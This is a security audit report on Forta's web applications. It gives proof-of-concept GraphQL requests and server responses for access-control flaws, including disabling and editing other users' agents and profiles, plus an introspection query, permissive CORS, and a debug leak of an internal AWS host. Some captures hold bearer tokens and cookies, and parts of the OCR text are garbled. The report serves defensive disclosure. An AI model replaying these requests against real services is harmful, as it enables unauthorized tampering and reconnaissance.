Forta Web Security Assessment - Audit Report

January 5th, 2022

Provided to:

*** Forta**

by:



www.dedalo.io - info@dedalo.io

Forta | CONFIDENTIAL



Table of Contents

OVERVIEW	3
SCOPE	3
EXECUTIVE SUMMARY	5
TECHNICAL REPORT	6
SECURITY ISSUES	6
#01 - Weak validation of input parameters leads to enable or disable users Age	ents 7
#02 - Weak validation of input parameters leads to update any Developer profi	le 9
#03 - Weak validation of input parameters leads to update any Agent	12
#04 - GraphQL Introspection enabled in production environment	16
#05 - Multiple endpoints with wildcard CORS activated	19
#06 - Weak validation of input parameters allows arbitrary agentId values	21
#07 - Sensitive Information Leak in GraphQL Query	23
#08 - HTML Injection in alerts emails	26



OVERVIEW

Forta engaged Dédalo's team to conduct a white-box security audit of Forta Explorer and Forta Connect web applications and their source code. This process consisted of identifying possible threats and security risks in the components of Forta web applications and its infrastructure. Dédalo performed source code reviews, manual and dynamic tests with multiple tools and techniques to identify security weaknesses.

Every finding is described in this document, including details that we consider necessary to understand the dangers of their possible impact, along with proper recommendations.

SCOPE

This assessment was done on the source code of "Forta Connect" and "Forta Explorer" applications provided by Forta through a private GitHub repository.

The following components were delivered to Dédalo and have been audited:

- GitHub repositories:
 - doiim/forta-connect-frontend
 - doiim/forta-connect-backend
 - forta-protocol/forta-explorer
 - forta-protocol/forta-explorer-api
- Forta Connect running on https://forta.doiim.com/
- Forta Explorer running on https://explorer.forta.network/

EXECUTIVE SUMMARY

For this audit, we analyzed all of the systems and applications of Forta that we discovered for the defined scope and identified security issues that could negatively affect Forta's business and users' data. This security assessment was conducted between December 16, 2021, and December 28, 2021, and the following days were used for findings triaging and report elaboration.

We performed a complete code review of the in-scope repositories focusing on user-provided inputs, data management, authorization, and authentication management. Along with code review, we performed multiple dynamic tests to validate previous findings and to find web application security issues.

With various techniques and tools, our team has managed to demonstrate missing authorization controls, weak input validations, sensitive information leaks, GraphQL misconfigurations, among other non-critical issues.

General Recommendations

Regarding user-provided Agents, we noticed there is no code review to avoid malicious actions from users. Lack of code verification makes users to not be able to verify if a given Agent is actually running the code referred to the Agent Developer provided repository URL.

While this audit was scoped to only four repositories, we identified several out-of-scope components which are core to the Forta ecosystem and perform sensitive processes with external user-provided data. These components are, but not limited to: Forta Nodes, Agents scheduler, Notifications manager, Agent running environments, a publicly available custom containers registry (Disco). We consider this infrastructure requires a dedicated audit, as this represents a significant surface attack for malicious actors. Weaknesses in these components could result in the following security problems: Agent code tampering, Spam or Denial of Service attacks to the Forta infrastructure or external services exposed to the Internet, Billing exhaustion, etc.



TECHNICAL REPORT

SECURITY ISSUES

We found the following issues classified by severity level:





#01 - Weak validation of input parameters leads to enable or disable users Agents

Severity: HIGH

Description

Any authenticated user is allowed to **enable** or **disable** any Agent. An attacker could modify the agentID input and put any different agentID value to disable the agent task.

Request			
Pretty Raw Hex	⇒ In E		Select extension 🗸
1 POST /api/graph 2 Host: forta.doi 3 Cookie: _ga=GAI Y6.YWWobk3QlAfp lSifQIjRxUDxxHE psAmLlhGsmkjN8L GS1.1.163968564 4 Content-Length	<pre>iql HTTP/2 .im.com L.1.107361307.1639661195;cf_ bclle57mDswS6kVLF5yH0wMeeRqfY-1 EmEyPBwAT+w8aCyu0dmEYqod0JqJbDQ _Q1Y8Av6A7PAYRQ==; _ga_3ERDDVRG 44.5.1.1639685656.0 ; 871</pre>	om= 639685646-0-Aaf0 Za4+xVAkXWlgqG9s QQ=	Gou6ozrlwu5uU7RUMRV ;VYGT5oLlU2tBQQ2W3A
5 ACCEPT: */* 6 Authorization: eyJhbGci0iJIUZJ U2MTY0LTJkNmUtM 0Fi0TA2YjgyZjUy dCI6MTY20TY2MT(08HZGKs	Bearer [INiIsInR5cCI6IkpXVCJ9.eyJwYXls wDcxYy04MDE2LTEyYzASN2Y0MDJlNyI wGI3MzlhMzhEMjUwMGM1NjMxRUFkYj wMiwiZXhwIjoxNjM50DM0MjEyfQ.4I	o2FkIjp7ImlkIjo5 sInBlYmxpY0FkZHJ MiLCJyb2xlIjoiRE IIF8D4ws9ILSWNH(50Cwic2xlZyI6IjIw0T Jlc3Mi0iIweENDNDY2M EVWRUxPUEVSIn0sImlh Dr_AhiFUT7yAlm-wRqf
7 User-Agent: Moz Gecko) Chrome/8 8 Content-Type: a 9 Origin: https:/ 10 Sec-Fetch-Site: 11 Sec-Fetch-Mode: 12 Sec-Fetch-Dest:	:illa/5.0 (X11; Linux x86_64) A 35.0.4183.121 Safari/537.36 application/json //forta.doiim.com : same-origin : cors : empty	opleWebKit/537.3	36 (KHTML, like
https://forta.c 14 Accept-Encoding 5 Accept-Language 16 17 { "variables":	łoiim.com/developer/0xCC4663Ab9 j: gzip, deflate 3: en-US,en;q=0.9 [03b82f524b739a38	3D2500c5631EAdb3
"agenild": "0x8dcd3lcd" "status":"["metaTransa "signatu "0x785ae3 782a47a24 "request" "value" "gas":1 "nonce"	<pre>>0e76ba2f8f6edcc65e5le754ce8381 >ISABLED", action":{ re": 3feff9f2l3f1576202367bf46fdd57e 4878b43fe671laf2792a1937le076c4 ':{ ':0, 1000000, ':"2", </pre>	edc6491f70d4724c 088651e035c9aaf0 f39def78a7075f0e	16a818307cf", 00492eb34d2035a5cfc eldclb",



```
Response
 Pretty Raw Hex Render 🚍 🕅 😑
 1 HTTP/2 200 OK
  2 Date: Thu, 16 Dec 2021 20:16:37 GMT
  3 Content-Type: application/json; charset=utf-8
  4 X-Powered-By: Express
 5 Access-Control-Allow-Origin: *
 6 Etag: W/"9b-vD9s9RFzAwfn1jU3Melc9F01M7M"
  7 Cf-Cache-Status: DYNAMIC
 8 Expect-Ct: max-age=604800,
   report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
  9 Report-To:
   {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zuxp6z49bd2%
   2F3NBc5X%2BQe%2BIoZRpR7yv2nbLKji3VuHrQDi%2FxnC6z9Q0rx1uKw9oIyGztFZs8B0CgDmL7hI3
   5hodsouP4McJH5AMtYf%2F0PH7Eqmh0mAMzpHtVgTVXfxxvg%2Fc%3D"}],"group":"cf-nel","ma
   x_age":604800}
 10 Nel: {"success_fraction":0, "report_to":"cf-nel", "max_age":604800}
 11 Server: cloudflare
12 Cf-Ray: 6bea9716afa4098e-MIA
13
:14 {
      "data":{
        "updateAgent":{
          "id":86,
          "agentId":
          "0x8dcd3lc00e76ba2f8f6edcc65e5le754ce838ledc649lf70d4724d6a8l8307cf",
          "status": "DISABLED",
          '__typename":"Agent"
       }
     }
   }
15
```

e.g.: in this evidence we disable the Doiim Agent

Proper validations should be added in both frontend and backend. Sanitize values before processing them in the backend.



#02 - Weak validation of input parameters leads to update any Developer profile

Severity: HIGH

Description

Any authenticated user is allowed to **modify** any Developer profile.

An attacker could manipulate the Developer public information and put arbitrary values to a given Developer.

R	equest		R
P	retty Raw Hex 🙃 \n 😑	Select extension 🗸	P
1 2 3 4 5	POST /api/graphql HTTP/2 Host: forta.doiim.com Cookie: ga=GAl.l.1073G1307.1639661195;cf_bm= OHg112LAZSQnPag2TwnBN4xvGCbaHX0kPFE9EM_bijg-1639661305-0-AX31VUvwHrHDPQ1Xq2KVH rG21yubIGrdP4IGYi4EvtoPgGGXRj19c19VNs20Sht4Lrj00r002qDJNjoyiziNxYTOw30yNv6BaYS ga_3ERDDVRGQQ=GS1.1.1639661194.1.1.1639661952.0 Content-Length: 1186 Accept: */* Authorization. Bospan	<ktvqgbspwotitgssmk <br="">SzL+UxkbV3WEA==;</ktvqgbspwotitgssmk>	1 2 3 4 5 6 7 8
0	eyJhbGci0iJIUJIJIISInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7ImlkIjo5OCwic2x1ZyI6IjIwC YyO4MDE2LTEYY2A5N2YOMDJlNyISInBIYmxpY0FkZHJlc3Mi0iIweENDNDY2MOFi0TAzYjgyZjUyNC jMxRUFKYjMiLCJyb2xlIjoiREVWRUxPUEVSIn0sImlhdCI6MTY20TY2MTQxMiwiZXhwIjoxNjM5OD/ ILSWNHOr AhiFUT7yA1m-wRqfQ8HZGKs	DTU2MTYOLTJkNmUtNDcx GI3MzlhMzhEMjUwMGM1N MOMjEyfQ.4II1F8D4ws9	9
7	User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Ge Chrome/85.0.4183.121 Safari/537.36 Content-Type: application/json	ecko)	10 11 12
9 10 11 12	Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty		13 14
13 14 15	Referer: https://forta.doiim.com/developer/0xa32C603e4E77a50850b52360F9921B230 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9	Ca7DA025	
17	{		
18	<pre>"variables":{ "name":"Mister", "description":"New name", "url":"https://checker.yahoo.com/", "email":null, "twitter":null, "facebook":null, "linkedin":null, "github":null, "reddit":null, "youtube":null, "discord":null, "bublicAddress":"0xa32C603e4E77a50850b52360F9921B23Ca7DA025".</pre>		
	<pre>"avatar":"bafkreicrgxx23hswzthg3b5hl4qlrdviqkrpnghyxw67xgmffziav7aayy" }, "query": "mutation (\$name: String, \$description: String, \$url: String, \$email: String, \$facebook: String, \$linkedin: String, \$github: String, \$reddit: String, \$yeardit: String, \$github: String, \$reddit: String, \$github: String, \$gith</pre>	g, \$twitter: String, outube: String, \$dis	15
	<pre>cord: String, \$publicAddress: String!, \$avatar: String] {\n updateDevelope: {set: \$name}, description: {set: \$description}, url: {set: \$url}, email: {s r: {set: \$twitter}, facebook: {set: \$facebook}, linkedin: {set: \$linkedin}, ub}, reddit: {set: \$reddit}, youtube: {set: \$youtube}, discord: {set: \$disco \$avatar}}\n where: {publicAddress: \$publicAddress}\n) {\n id\n n; \n url\n email\n twitter\n facebook\n linkedin\n github\n ube\n discord\n publicAddress\n avatar\ntypename\n }\n}\n" }</pre>	r(\n data:{hame: set:\$email}, twitte github:{set:\$gith ord}, avatar:{set: ame\n description reddit\n yout	



- -Response Pretty Raw Hex Render 🚍 \n ☰ 1 HTTP/2 200 OK 2 Date: Thu, 16 Dec 2021 20:54:18 GMT 3 Content-Type: application/json; charset=utf-8
4 X-Powered-By: Express 5 Access-Control-Allow-Origin: * 6 Etag: W/"186-jTLYp+n4SQESUZwVOal6lFNtL2A"
7 Cf-Cache-Status: DYNAMIC
8 Expect-Ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" 9 Report-To: 9 Report-To: {"endpoints":[{"url":"https:///a.nel.cloudflare.com//report//v3?s=l%2BovG%2FQ9PrYIHZ8kKE68Weycu4 JDLKjhtrYQl8ZccWY60BSlwWem%2BixOsmseCfoHfv82cv2teleDIWyKMujFz2R%2F%2FLugVbbNEkRSJ8Rmx6oj%2BF56c0S ld0%2F7hSUAM3Go5I4%3D"}], "group":"cf-nel", "max_age":604800} 10 Net: {"success_fraction":0, "report_to":"cf-nel", "max_age":604800} 11 Server: cloudflare 12 Cf-Ray: 6beace5eef4802f9-MIA 13 14 { "data":{ data":{
 "updateDeveloper":{
 "id":43,
 "name":"Mister",
 "description":"New name",
 "url":"https://checker.yahoo.com/",
 "email":null,
 "twitter":null,
 "inkedin":null,
 "linkedin":null, 'intub': inult,
''reddit":nult,
''reddit":nult,
''youtbe":nult,
''discord":nult,
''publicAddress': "Oxa32C603e4E77a50950b52360F9921B23Ca7DA025",
''publicAddress': "'publicAddress': "'publicAd "avatar":"bafkreicrgxx23hswzthg3b5hl4qlrdviqkrpnghyxw67xgmffziav7aayy", '__typename":"Developer" } } }



\leftrightarrow \Rightarrow G	forta.doiim.com/de	eveloper/0xa32C603e4	4E77a50850b5236	0F9921B23Ca7D/	4025	
🖈 Forta	Connect BETA	Agents Profiles	Explorer 🗷	SDK docs 🛛	Forta.org 🛛	
		Mister				
		0				
	Agents by Mister					
	Agent $\uparrow\downarrow$	\bigtriangledown		LAST U	PDATE / ID 👈	
	doiim-agent			<mark>6 minu</mark> 0x8dcd	tes ago • 16 Dec 2021, 17:49 31c00e76ba2f8f6edcc65e51e7	
	Test-Agent			a mont 0xb7ec	h ago • 19 Nov 2021, 17:06 b1146b15b6d433fbe3817cc7b	
	Agent Test			a mont 0xd9a4	h ago • 18 Nov 2021, 17:47 la21749a2ee6a675fa1588b33d4	
	Guilherme Agent			a mont 0x1d15	h ago • 17 Nov 2021, 11:06 52c53641ee610c62990b3e5c407	

Proper validations should be added in the backend. Correct the "graphql-shield" middleware role checking. Fixes should be done in the following files:

- <u>https://github.com/doiim/forta-connect-backend/blob/main/src/permissions.ts</u>
- <u>https://github.com/doiim/forta-connect-backend/blob/main/src/rules.ts</u>



#03 - Weak validation of input parameters leads to update any Agent

Severity: High

Description

Any authenticated user is allowed to **modify** any Agent profile.

An attacker could manipulate the ID and the agentId input to modify all Agent values .

Request	
Pretty Raw Hex 🚍 In 😑	Select extension 🗸
<pre>1 POST /api/graphql HTTP/2 2 Host: forta.doiim.com 3 Cookie: _ga=GA1.1.107361307.1639661195; _ga_3ERDDVRGQQ=GS1.1.1639765167.7.1 4 Content-Length: 1925 5 Accept: */* 6 Authorization: Bearer</pre>	.1639766156.0
 ey JhbGciOi JIUZIINIISInRScCIGIkpXVCJ9.ey JwYXLsb2FkIjpZmlKljo5OCwic2xl2yI6Ij Yy04MDE2LTEyYzA5N2Y0MDJlNyISInB1YmxpY0FkZHJlc3MiOiIweENDNDY2M0FiOTAZYjgyZjU jMxRUFKYjMiLCJyb2xlIjoiREVWRUxPUEVSIn0sImlhdCI6MTYzOTc2NjElNiwiZXhwIjoxNjMS DtsOuc005Ettq9RLa2t05Z6N8Sm1N23M User-Agent: Mozilla/5.0 (XII: Linux x86_64) AppleWebKit/537.36 (KHTML, like Chrome/85.0 4183.121 Safari/53.2 36 	IWOTU2MTYOLTJKNmUtNDcx IyNGI3M2lhMzhEMjUwMGMIN OTM4OTU2fQ.3E-TAAWUOVE : Gecko)
8 Content-Type: application/json 9 Origin: https://forta.doim.com 10 Sec-Fetch-Site: same-origin 11 Sec-Fetch-Mode: cors	
12 Sec-retch-Dest: empty 13 Referer: https://forta.doiim.com/developer/0xCC4663Ab903b82f524b739a38D2500 14 Accept-Encoding: gzip, deflate 15 Accept-Language: en-US,en;q=0.9 16	0c5631EAdb3
1/1 " "variables":{ "id":122,	
"agentId": "0xd9a4a21749a2ee6a675fa1588b33d4b823e2a2cf7103d7633830f052e6	9111dc",
<pre>description : asoasd , "manifestIPFS":"bafkreicrbg2mw2sqxc6o3w2dh27wdd2x4yctzjo262rvkhwnxwbdzm "metaTransaction":{ "signature":</pre>	elmm",
"0.966559df25ac6dada7ba953ed262222f81859cf453b6e9c628e3892221e9cd0e67 ba88c51ac40020c8e7ddb4029e1fa2b91cb6e1af1c", "request":{	788a144dea7d94eadd88451
"gas":1000000, "nonce":"4", "deadline":0,	
"to":"0x61447385B019187daa48e91c55c02AF1F1f3F863", "from":"0xCC4663Ab903b82f524b739a38D2500c5631EAdb3", "data":	
"0xa9ac6c68f17f7f6fa9d8d117d69b713f264d4d2c7b332dc670d2c519881f1le 000000000000000000000000000000000000	dd03ecbb0000000000000000000000000000000000
<pre>}, "documentationIPFS":"bafkreiaar4qfvcj6p4erjqkxd3d6ap5vphz5wrea2cgnloyem "image":"dsahjk@sha256:dsjakk", "repository":"https://checker.forta.network", "version":"l"</pre>	oyhktix5m",





{
variables":{
19 1217
"description": "asdaddadadadadadadadadadadadadadadadada
"manifestIPFS":"bafkreicrbg2mw2sgxc6o3w2dh27wdd2x4vctzjo262rvkhwnxwbdzmelmm",
"metaTransaction":{
"signature":
"0x96d559df25ac6dada7ba953ed262222f81859cf453b6e9c628e3892221e9cd0e6788a144dea7d94eadd88451
ba88c5lac40020c8e7ddb4029elfa2b9lcb6elaflc",
"request":{
"value":0,
"gas":1000000,
"nonce": "4",
"dead line": 0,
"to": "0x6144/385801918/daa48e91c55c02AFFF1735863",
"dete"; UXCC4063AD9U3D821524D739838D2500C563IEADD3 ;
udid ; "Over Descrete 17776640000117460b712476444257b222de670425510991411add02abb000000000000
6261 666b 72656963726267326d77327371 7863366f 337732646832377764643278347963747a6a6f 333632727
66b68776e787762647a6d656c6d6d000000000000000000000000000000
000000000000000000000000000000000000000
}
b .
<pre>"documentationIPFS": "bafkreiaar4qfvcj6p4erjqkxd3d6ap5vphz5wrea2cgnloyemoyhktix5m",</pre>
"image":"dsahjk@sha256:dsjakk",
"repository":"https://checker.forta.network",
"version": "1",
"name": "sadasd"
) , Paulo put
query : "mutation (fid. Intl. fogontId. String. fdoscription, String. fmonifastIPES, String. fmotoTron
mutation (piu, int;, pagentiu, string;, pueseription, string, pmanifestin's, string, pmetaran
a. sname: String) {\n undateAgent (\n data: {description: {set: \$description}, blockchains:
<pre>{connect: fagentId blockchainId: fagentId: \$id. blockchainId: 1}}, manifestIPES: fset: \$manife</pre>
stIPFS}, metaTransaction: {set: \$metaTransaction}, documentationIPFS: {set: \$documentationIPFS}
, image: {set: \$image}, repository: {set: \$repository}, version: {set: \$version}, name: {set: \$
name}}\n where: {agentId: \$agentId}\n) {\n id\n agentId\ntypename\n }\n}\n"
}
(⊙) ← → Search 0 matches

Request crafted with arbitrary values



Response III = I
Pretty Raw Hex Render 🚍 In 🚍
1 HTTP/2 200 OK
2 Date: Fr1, 17 Dec 2021 18:58:54 GMN 3 Content-Type: application/ison: charset=utf-8
4 X-Powered-By: Express
5 Access-Control-Allow-Urigin: * 6 Etag: W/"88-/k/4i/8egkBXE+OuGvW5/avlrBo"
7 Cf-Cache-Status: DYNAMIC
8 Expect-Ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
9 Report-To:
<pre>{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jDNlJ0AImYybhOuvLcOtp%2FSzEWaI lwkKkjvdl2DyxseJEjLFrqTTaYt7giyJrMi4gV2ZRogcfIBDlKgbEd5enprNeIrFJmnpCdDlibfXMaSpXP7Zo6l1EZ37wgriJ FX10W4%3D"}],"group":"cf-nel","max_age":604800}</pre>
10 Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
12 Cf-Ray: 6bf262933a51220f-MIA
"data":{
"updateAgent":{
"agentId":"0xd9a4a21749a2ee6a675fa1588b33d4b823e2a2cf7103d7633830f052e69111dc",
"typename":"Agent"
}
} 15

Response of the server with the Agent updated.





← → C forta.doiim.com/agent/0xd9a4a21749a2ee6a675fa1588b33d4b823e2a2cf7103d7633830f052e69111dc				
🛧 Forta Connect BETA Agents Profiles	s Explorer 1 SDK docs 1	Forta.org 🛛		
Agent Details		Documentation		
Name	View on Explorer 🛛	C README.md		
sadasd				
Developer Guilherme (0xa32C603e4E77a50850b52360F9921B23Ca7DA025)		This is my readme		
Description asdasd				
Blockchains Ethereum Mainnet				
Image dsahjk@sha256:dsjakk				
Repository https://checker.forta.network				
Version 1				

Agent from another Developer modified.

Recommendations

Proper validations should be added in the backend. Correct the "graphql-shield" middleware role checking. Fixes should be done in the following files:

- https://github.com/doiim/forta-connect-backend/blob/main/src/permissions.ts
- https://github.com/doiim/forta-connect-backend/blob/main/src/rules.ts



#04 - GraphQL Introspection enabled in production environment

Severity: Low

Description

Debug mode is enabled in the GraphQL of explorer-api.forta.network. This allows an attacker to make introspection queries to the GraphQL.

Req	juest		
Pretty	y Raw Hex 🚍 ∖n Ξ	Select extension	~
1 P0 2 Ho 3 Co 4 Ac 5 Us 6 Co 7 Or 8 Se 9 Se 10 Se 11 Re 12 Ac 13 Ac 14	DST /graphql HTTP/2 pst: explorer-api.forta.network ontent-Length: 727 ccept: */* ser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Ge prome/85.0.4183.121 Safari/537.36 ontent-Type: application/json rigin: https://explorer.forta.network cc-Fetch-Site: same-site cc-Fetch-Dest: empty sferer: https://explorer.forta.network/ ccept-Encoding: gzip, deflate ccept-Language: en-US,en;q=0.9	cko)	
}	<pre>"query": "query": "query {schema{queryType{name}mutationType{name}subscriptionType{name}type tives{name description locations args{InputValue}}}fragment FullType on scription fields(includeDeprecated:true){name description args{InputValue} Deprecated deprecationReason}inputFields{InputValue}interfaces{TypeRef Deprecated:true){name description isDeprecated deprecationReason}possibleTyp ment InputValue onInputValue{name description type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}"</pre>	s{FullType}dir Type{kind name }type{TypeRef] }enumValues(inclu es{TypeRef}}fr e}fragment TypeRe e{kind name ofTyp	rec de ide rag f e{



Response	
Pretty Raw Hex Render 🚍 In 🚍	
<pre>1 HTTP/2 200 OK 2 Date: Fri, 17 Dec 2021 22:38:28 GMT 3 Content-Type: application/json; charset=utf-8 4 X-Powered-By: Express 5 Access-Control-Allow-Origin: * 6 Etag: W/*dlbc-7N1/BatGVTYr34Iv+3e0QewOWTg" 7 Cf-Cache-Status: DYNAMIC 8 Expect-Ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" 9 Server: cloudflare 10 Cf-Ray: 6bf3a44bcba908b8-EZE</pre>	
<pre>11 12 { "data":{ "schema":{ "queryType":{ "name":"Query" }, "mutationType":{ "name":"Mutation" }, "subscriptionType":{ "name":"Subscription" }, "types":[{ { } {</pre>	
<pre>"kind":"OBJECT", "name":"Query", "description":null, "fields":[{ "name":"_", "name":"_", "description":null, "args":[" "</pre>	





Disable Debug mode on production environments



#05 - Multiple endpoints with wildcard CORS activated

Severity: Low

Description

Some endpoints on different components of the application have permissive CORS policies configured with wildcards.

Clients from any browser can access these methods without domain restrictions.

Backend components are:

https://explorer-api.forta.network	Explorer API
https://forta.doiim.com/api/*	Forta Connect backend

Impact

An attacker could craft arbitrary cross-origin requests and exploit this permissive misconfiguration to act on behalf of the victim.

Evidence

As an example, this is a response to a POST request on forta.doiim.com. Regardless of the Origin domain, the server allows the request, and then the response could be captured from a web browser context.





We recommend settling CORS configuration to limit access to specific front-end domains to prevent other websites from accessing Forta APIs.



#06 - Weak validation of input parameters allows arbitrary agentId values

Severity: Low

Description

Any authenticated user is allowed to **craft** an arbitrary agentId without the common pattern $(0x^*)$ when creating a new **Agent**.

An attacker could manipulate the agentId input and put any value to the Agent Identification, therefore impacting in the Agent URL alias.

Request				
P	retty Raw Hex 🥽 In 😑	Select extension 🗸		
1 2 3 4 5 6	POST /api/graphql HTTP/2 Host: forta.doim.com Cookie: _ga=GA1.l.107361307.1639661195; _ga_3ERDDVRGQQ= GS1.l.1639670007.3.1.1639670502.0 Content-Length: 2050 Accept: */* Authorization: Bearer eyJhbGci0iJUZINNISInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7ImlkIjo TU2MTY0LTJkNmUtNDcxYy04MDE2LTEyYzA5N2Y0MDJlNyISInB1YmxpY0FkZ 2MOFi0TAzYjgyZjUyNGI3MzlhMzhEMjUwMGMlNjMxRUFkYjMiLCJyb2xlIjo mlhdCI6MTYz0TY2MTQxMiwiZXhwIjoxNjM50DM0MjEyfQ.4IIIF8D4ws9ILSJ wRaf08HZGKs	50Cwic2x1ZyI6IjIw0 HJlc3Mi0iIweENDNDY iREVWRUxPUEVSIn0sI WNHOr_AhiFUT7yAlm-		
7 8 9 10 11 12 13	User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537. Gecko) Chrome/85.0.4183.121 Safari/537.36 Content-Type: application/json Origin: https://forta.doiim.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer:	36 (KHTML, like		
14 15 16	https://forta.doiim.com/agent/0x8dcd3lc00e76ba2f8f6edcc65e5l 70d4724d6a8l8307cf Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9	e754ce838ledc649lf		
17	<pre>"variables":{ "agentId":"RANDOMVALUE", "description":"Configure this agent", "manifestIPFS": "bafkreigexqkgshaecsagj24c2rsvljlu5pwega2qmler2toznyqgqb "metaTransaction":{ "signature":</pre>	6ukq", 16af33ccad9a523d8f f9fbclc",		

🔰 dédalo



Recommendations

Proper validations should be added in both frontend and backend. Sanitize values before inserting them into the DB.



#07 - Sensitive Information Leak in GraphQL Query

Severity: Low

Description

Any unauthenticated user is allowed to **modify** input variables leading to **Internal Server Errors** leaking information about internal endpoints, AWS security tokens and other information. This occurs because GraphQL debug mode is enabled.

Request		
Pretty Raw Hex 🚍 In 😑	Select extension	~
<pre>1 POST /graphql HTTP/2 2 Host: explorer-api.forta.network 3 Content-Length: 914 4 Accept: */* 5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, 1: 6 Charge (55, 0, 402, 12), c-faci (527, 26)</pre>	ike Gecko)	
6 Content-Type: application/json 7 Origin: https://explorer.forta.network 8 Sec-Fetch-Site: same-site 9 Sec-Fetch-Mode: cors 10 Sec-Fetch-Dest: empty		
11 Referer: https://explorer.forta.hetwork/ 12 Accept-Encoding: gzip, deflate 13 Accept-Language: en-US,en;q=0.9 14 15 {		
"operationName":"Retrive", "variables":{ "getListInput":{ "severity":[].		
"agents":["0xddb7c17e370ecd5f99cadcddb39cfa51264e989c5133c490046d63a299dd68], "txHash":"", "text":".	3f0"	•
"muted":[], "sort":"", "limit":0, "remined".""		
"startDate": "1624567438065", "endDate": "1640119438065", "aggregations":{ "severity":true,		
<pre>["interval":"da'y", "alerts":6, "cardinalities":true }</pre>		
} }, "query": "query Retrive(\$getListInput: GetAlertsInput) {\n_getList(input: \$getI	_istInput) {\n	а
ggregations {\n severity {\n key\n doc_count\n ි සිදු	typename\n	. /



Response Pretty Raw Hex Render 🚍 🕅 😑 HTTP/2 200 OK 2 Date: Tue, 21 Dec 2021 21:02:10 GMT 3 Content-Type: application/json; charset=utf-8 4 X-Powered By: Express 5 Access-Control-Allow-Origin: * 6 Etag: W/"cl5-gHJyDjb9IkGĎnmcSXl7AwH53ils" 7 Cf-Cache-Status: DYNAMIC 8 Expect-Ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" 9 Server: cloudflare 10 Cf-Ray: 6c140cbedf0608f5-EZE 11 12 { "errors":[{ "message":"Request failed with status code 400", "locations":[ł "line":2, "column":3 0 0 0 } 1. "path":["getList" 1. "extensions":{ "code": "INTERNAL_SERVER_ERROR", "exception":{ "config":{ "url":"/forta_alerts/_search", "data": "data":
 "{\"aggs\":{\"severity\":{\"terms\":{\"field\":\"alert.severity.keyword\",\"ord
 er\":{\"_count\":\"desc\"},\"size\":5},\"alerts\":{\"terms\":{\"field\":\"aler
 t.name.keyword\",\"order\":{\"count\":\"desc\"},\"size\":6}},\"size\":6},\"interval\":\"de
 ate_histogram\":{\"field\":\"alert_timestamp\",\"interval\":\"de'y\"},\"agents
 _cardinality\":{\"cardinality\":{\"field\":\"source.agent.id.keyword\"}},\"size\"
 io,\"from\":0,\"from\":{\"cardinality\":{\"field\":\"alert_timestamp\",\"interval\":\"de'y\"}},\"size\"
 io,\"from\":0,\"from\":{\"cardinality\":{\"field\":\"alert_timestamp\",\"interval\":{\"alert_timestamp\",\"interval\":\"de'y\"}},\"size\"
 io,\"from\":0,\"from\":{\"cardinality\":{\"field\":\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":\"alert_timestamp\":{\"alert_timestamp\":{\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":{\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":{\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestamp\":\"alert_timestimestamp\":\"alert_timest 264e989c5133c490046d63a299dd68f0\"}}]}}]},\"sort\":[{\"source.block.number\":{ \"order\":\"desc\"}},{\"id.keyword\":{\"order\":\"desc\"}}]}", "headers":{

🕈 dédalo

Response	
Pretty Raw	Hex Render 🚍 🕥 🚍
	<pre> Ts_cardinality\":{\"cardinality\":{\"field\":\"alert.name.keyword\"}}},\"size\" :0,\"from\":0,\"query\":{\"bool\":{\"must\":[{\"range\":{\"alert_timestamp\":{\ "fte\":\"l624567438065\",\"format\":\"epoch_millis\"}},{\"range\":{\"alert_tim estamp\":{\"l640119438065\",\"format\":\"epoch_millis\"}},{\"bool\":{\ "should\":[{\"match\":{\"source.agent.id\":\"0,00072730ecd5f99cadcddb39cfa51 264e989c5133c490046d63a299dd68f0\"}}]}}]},\"sort\":[{\"source.block.number\":{ \"order\":\"desc\"}},"</pre>
	"Content-Type":"application/json",
	"Host":
	"vpc-prod-forta-alerts-e4dk7rvfraouyc7uvnygan5hii.us-east-l.es.amazonaws.com"
	, "Content-Length":808,
	"X-Amz-Security-Token":
